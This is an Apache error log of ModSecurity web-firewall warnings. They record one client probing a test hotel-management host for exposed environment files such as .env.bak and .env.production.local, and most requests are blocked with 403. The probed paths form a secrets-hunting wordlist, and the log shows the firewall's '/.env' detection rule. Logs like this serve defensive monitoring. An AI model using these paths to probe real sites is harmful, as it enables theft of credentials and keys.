[Sat May 31 23:23:45.430141 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
[Sat May 31 23:23:45.861916 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihNAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:45.862132 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihNAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:45.862461 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihNAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:45.862662 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihNAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:46.193407 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:46.193608 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:46.193862 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:46.194045 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat May 31 23:23:46.625983 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:46.626273 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:46.626470 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzYk_7v63ITAiL1uihNgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:47.074769 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihNwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:47.075042 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihNwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:47.075237 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihNwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dev.local
[Sat May 31 23:23:47.507984 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:47.508301 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:47.508489 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:47.838940 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:47.839224 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:47.839420 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aDtzY0_7v63ITAiL1uihOQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.development.local
[Sat May 31 23:23:48.271382 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:48.271698 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:48.271875 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:48.602268 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:48.602554 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:48.602737 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aDtzZE_7v63ITAiL1uihOwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.prod.local
[Sat May 31 23:23:49.033551 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
[Sat May 31 23:23:49.033816 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
[Sat May 31 23:23:49.034016 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aDtzZU_7v63ITAiL1uihPAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.production.local
